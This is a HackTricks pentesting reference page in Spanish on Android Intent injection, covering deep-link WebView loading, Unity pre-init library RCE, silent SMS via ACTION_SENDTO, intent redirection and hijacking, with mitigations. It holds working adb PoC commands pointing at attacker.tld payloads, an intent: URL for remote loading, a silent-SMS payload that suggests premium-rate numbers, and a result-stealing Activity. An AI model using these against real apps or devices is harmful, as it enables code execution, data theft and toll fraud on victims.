Intent Injection
Reading time: 17 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Intent injection abusa de componentes que aceptan Intents controlados por el atacante o datos que luego se convierten en Intents. Dos patrones muy comunes durante pentests de aplicaciones Android son:
- Enviar extras manipulados a Activities/Services/BroadcastReceivers exportados que luego son reenviados a componentes privilegiados no exportados.
- Activar deep links VIEW/BROWSABLE exportados que reenvían URLs controladas por el atacante a WebViews internas u otros sinks sensibles.
Deep links → WebView sink (URL parameter injection)
Si una app expone un deep link con un esquema personalizado como:
myscheme://com.example.app/web?url=<attacker_url>
y si la Activity receptora reenvía el parámetro de consulta url a un WebView, puedes forzar que la app renderice contenido remoto arbitrario en su propio contexto de WebView.
PoC vía adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impacto
- HTML/JS se ejecuta dentro del perfil WebView de la app.
- Si JavaScript está habilitado (por defecto o debido a comprobaciones desordenadas), puedes enumerar/usar cualquier objeto expuesto
@JavascriptInterface, robar WebView cookies/local storage y pivotar.
See also:
Bug de orden de comprobaciones que habilita JavaScript
Un bug recurrente es habilitar JavaScript (u otras configuraciones permisivas de WebView) antes de que termine la verificación/allowlist final de la URL. Si helpers tempranos aceptan tu deep link y el WebView se configura primero, tu carga final ocurre con JavaScript ya habilitado aunque las comprobaciones posteriores sean defectuosas o lleguen tarde.
Qué buscar en el código decompilado:
- Múltiples módulos/helpers que parsean/dividen/reconstruyen la URL de forma diferente (normalización inconsistente).
- Llamadas a
getSettings().setJavaScriptEnabled(true)antes de la última verificación de host/path en la allowlist. - Una pipeline como: parse → partial validate → configure WebView → final verify → loadUrl.
Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
Las apps Android basadas en Unity típicamente usan com.unity3d.player.UnityPlayerActivity (o UnityPlayerGameActivity) como la Activity de entrada. la plantilla Android de Unity trata un extra de Intent especial llamado unity como una cadena de flags de línea de comandos para el Unity runtime. Cuando la Activity de entrada está exportada (por defecto en muchas plantillas), cualquier app local —y a veces un sitio web si BROWSABLE está presente— puede suministrar este extra.
Un flag peligroso y no documentado conduce a la ejecución de código nativo durante la inicialización muy temprana del proceso:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Effect:
dlopen(<absolute-path>, RTLD_NOW)muy temprano en la inicialización, cargando un ELF controlado por el atacante dentro del proceso de la app objetivo con su UID y permisos.
Reverse-engineering excerpt (simplified):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Por qué funciona
- El extra de Intent
unityse interpreta como Unity runtime flags. - Al suministrar la pre-init flag, Unity apunta a una ruta ELF controlada por el atacante dentro de un linker namespace path permitido (ver las restricciones más abajo).
Condiciones para la explotación
- La Activity de entrada de Unity está exportada (comúnmente cierto por defecto).
- Para ejecución remota con un clic vía navegador: la Activity de entrada también declara
android.intent.category.BROWSABLEpara que los extras puedan ser pasados desde una URLintent:.
Explotación local (mismo dispositivo)
- Coloca un payload ELF en una ruta legible por la app víctima. Lo más sencillo: incluye una biblioteca maliciosa en tu propia app atacante y asegúrate de que se extraiga bajo
/data/app/.../lib/<abi>/configurando en el manifest del atacante:
<application android:extractNativeLibs="true" ...>
- Lanzar la Unity activity de la víctima con la CLI pre-init flag en el extra
unity. Ejemplo ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); tu payload se ejecuta en el proceso víctima, heredando todos sus permisos de la app (cámara/micrófono/red/almacenamiento, etc.) y acceso a sesiones/datos dentro de la app.
Notas
- La ruta exacta
/data/app/...varía entre dispositivos/instalaciones. Una app atacante puede recuperar su propio directorio de librerías nativas en tiempo de ejecución mediantegetApplicationInfo().nativeLibraryDiry comunicárselo al trigger. - El archivo no necesita terminar en
.sosi es un ELF válido —dlopen()se fija en los encabezados ELF, no en las extensiones.
Acceso remoto con un clic mediante el navegador (condicional)
Si la entry activity de Unity está exportada con BROWSABLE, un sitio web puede pasar extras mediante una URL intent::
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Sin embargo, en Android moderno, los namespaces del dynamic linker y SELinux bloquean la carga desde muchas rutas públicas (p. ej., /sdcard/Download). Verás errores como:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Bypass strategy: apuntar a aplicaciones que almacenan en caché bytes controlados por el atacante dentro de su almacenamiento privado (p. ej., HTTP caches). Dado que las rutas permitidas incluyen /data y el directorio privado de la app, apuntar -xrsdk-pre-init-library a una ruta absoluta dentro de la caché de la app puede satisfacer las restricciones del linker y producir ejecución de código. Esto refleja patrones previos de cache-to-ELF RCE observados en otras Android apps.
Confused‑Deputy: SMS/MMS silencioso vía ACTION_SENDTO (Wear OS Google Messages)
Algunas apps de mensajería predeterminadas ejecutan incorrectamente de forma automática intents implícitos de mensajería, convirtiéndolos en una primitiva confused‑deputy: cualquier app sin privilegios puede desencadenar Intent.ACTION_SENDTO con sms:, smsto:, mms:, o mmsto: y provocar un envío inmediato sin una UI de confirmación y sin el permiso SEND_SMS.
Key points
- Desencadenante:
ACTION_SENDTOimplícito + esquema URI de mensajería. - Datos: establecer el destinatario en la URI, el texto del mensaje en el extra
"sms_body". - Permisos: ninguno (sin
SEND_SMS), depende del manejador SMS/MMS por defecto. - Observado: Google Messages para Wear OS (parcheado en mayo de 2025). Otros handlers deberían evaluarse de forma similar.
Minimal payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (sin permisos especiales)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Expansión de la superficie de ataque (Wear OS)
- Cualquier componente capaz de lanzar Activities puede disparar la misma payload: Activities, foreground Services (con
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - Si el manejador por defecto envía automáticamente, el abuso puede ser con un solo toque o totalmente silencioso desde contextos en segundo plano dependiendo de las políticas del OEM.
Pentest checklist
- Resuelve
ACTION_SENDTOen el objetivo para identificar el manejador por defecto; verifica si muestra una UI de composición o envía silenciosamente. - Prueba los cuatro esquemas (
sms:,smsto:,mms:,mmsto:) y los extras (sms_body, opcionalmentesubjectpara MMS) para comprobar diferencias de comportamiento. - Considera destinos con cargos/números de tarificación premium cuando pruebes en dispositivos reales.
Other classic Intent injection primitives
- startActivity/sendBroadcast usando extras de
Intentsuministrados por el atacante que luego se reparsean (Intent.parseUri(...)) y se ejecutan. - Componentes proxy exportados que reenvían Intents a componentes sensibles no exportados sin comprobaciones de permisos.
Automatización de pruebas de componentes exportados (Smali-driven ADB generation)
Cuando los componentes exportados esperan extras específicos, adivinar la forma del payload provoca pérdida de tiempo y falsos negativos. Puedes automatizar el descubrimiento de claves/tipos directamente desde Smali y generar comandos adb listos para ejecutar.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Enfoque: decompila y escanea Smali en busca de llamadas como
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()para inferir qué extras y campos consume cada componente. - Salida: para cada Activity/Service/Receiver/Provider exportado, la herramienta imprime una breve explicación y el comando exacto
adb shell am .../cmd content ...con los flags correctamente tipados.
Instalación
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Uso
python apk-components-inspector.py target.apk
Ejemplo de salida
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
Hoja de referencia de ADB am extras (type-aware flags)
- Cadenas:
--es key value| Matriz de cadenas:--esa key v1,v2 - Enteros:
--ei key 123| Matriz de enteros:--eia key 1,2,3 - Booleanos:
--ez key true|false - Longs:
--el key 1234567890 - Floats:
--ef key 1.23 - URIs (extra):
--eu key content://...| URI de datos (Intent data):-d content://... - Extra de componente:
--ecn key com.pkg/.Cls - Extra de cadena nula:
--esn key - Flags comunes:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Consejos pro para Providers
- Usa
adb shell cmd content query|insert|update|delete ...para acceder a ContentProviders sin agentes. - Para sondeos SQLi, varía
--projectiony--where(aka selection) cuando el provider subyacente esté respaldado por SQLite.
Automatización de pipeline completa (interactive executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script auxiliar para analizar y ejecutar comandos adb
import subprocess
def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands
for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")
Run on-device: el inspector está basado en Python y funciona en Termux o en rooted phones donde apktool/androguard están disponibles.
Intent Redirection (CWE-926) – encontrar y explotar
Patrón
- Un punto de entrada exportado (Activity/Service/Receiver) lee un Intent entrante y lo reenvía interna o externamente sin validar origen/datos, p. ej.:
startActivity(getIntent())startActivity(intent)dondeintentprovino de un extra comoredirect_intent/next_intent/pending_intentoIntent.parseUri(...).- Confiar en los campos
action/data/componentsin comprobaciones; no verificar la identidad del llamador.
Qué buscar en Smali/Java
- Usos de
getParcelableExtra("redirect_intent"),getParcelable("intent"),getIntent().getParcelableExtra(...). - Llamadas directas a
startActivity(...),startService(...),sendBroadcast(...)sobre Intents influenciados por attacker. - Ausencia de comprobaciones
getCallingPackage()/getCallingActivity()o de comprobaciones de permisos personalizados.
ADB PoC templates
- Proxy Activity que reenvía un Intent extra a una Activity interna privilegiada:
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Servicio exportado que admite un parcelable
redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Exported Receiver que reenvía sin validación:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Flags útiles para comportamiento al estilo singleTask
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Ejemplos reales (el impacto varía):
- CVE-2024-26131 (Element Android): flujos exportados que conducen a WebView manipulation, PIN bypass, login hijack.
- CVE-2023-44121 (LG ThinQ Service): acción de receptor exportado
com.lge.lms.things.notification.ACTION→ efectos a nivel del sistema. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirección → acceso arbitrario a archivos (con interacción del usuario).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
Modelo de amenaza
- La App A espera un resultado sensible de la App B usando un implicit Intent (p. ej., un OAuth redirect, el resultado de un document picker, un retorno IMAGE_CAPTURE, o una acción de callback personalizada).
- La App atacante C publica un componente exportado con un
<intent-filter>coincidente para la mismaaction/category/data. Cuando B resuelve el implicit Intent, el resolver puede presentar un chooser; si el usuario elige C (o la establece como predeterminada), el payload se entrega al componente atacante en lugar de a A.
Minimal PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Esqueleto del handler:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Notas
- La especificidad de la coincidencia importa (action + categories + data). Cuanto más específico sea el filtro de C respecto al Intent saliente de B, mayor será la probabilidad de que se muestre o se seleccione automáticamente.
- Esto también se aplica a deep links (
VIEW+BROWSABLE) cuando las apps esperan que otra app maneje una URL y devuelva algo.
Pentest guidance
- Buscar en el objetivo con grep llamadas
startActivity/startActivityForResult/registerForActivityResultque usen Intents no explícitos. - Inspeccionar los Intents que lleven tokens en
extras,clipData, ogetData()y comprobar si un tercero podría registrar un filtro compatible. - Recomendar reemplazar flujos implícitos con Intents explícitos (set
setPackage()/setComponent()), o exigir caller-permission/signed permissions en receivers/services exportados.
Mitigaciones
- Preferir Intents explícitos para flujos sensibles (callbacks, tokens, auth results).
- Cuando sea necesario cross-app, añadir requisitos de permiso al componente receptor y validar la identidad del caller.
- Limitar y ajustar los filtros de Intent solo a lo estrictamente necesario (scheme/host/path/MIME).
Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)
Cuando controlas el sender, añade Intent.FLAG_DEBUG_LOG_RESOLUTION a un Intent implícito para que Android registre cómo sucede la resolución y qué componente será seleccionado.
Example:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
Lo que verás en adb logcat es la traza de resolución y el componente final, p. ej. com.android.camera2/com.android.camera.CaptureActivity.
Consejo de CLI
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
Esto es útil para enumerar manejadores candidatos en un dispositivo/emulador y confirmar exactamente qué componente recibirá un Intent durante las pruebas.
Referencias
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Android Intent reference
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS
- PoC repo – io-no/CVE-2025-12080
- Android docs – Intents and Intent Filters
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks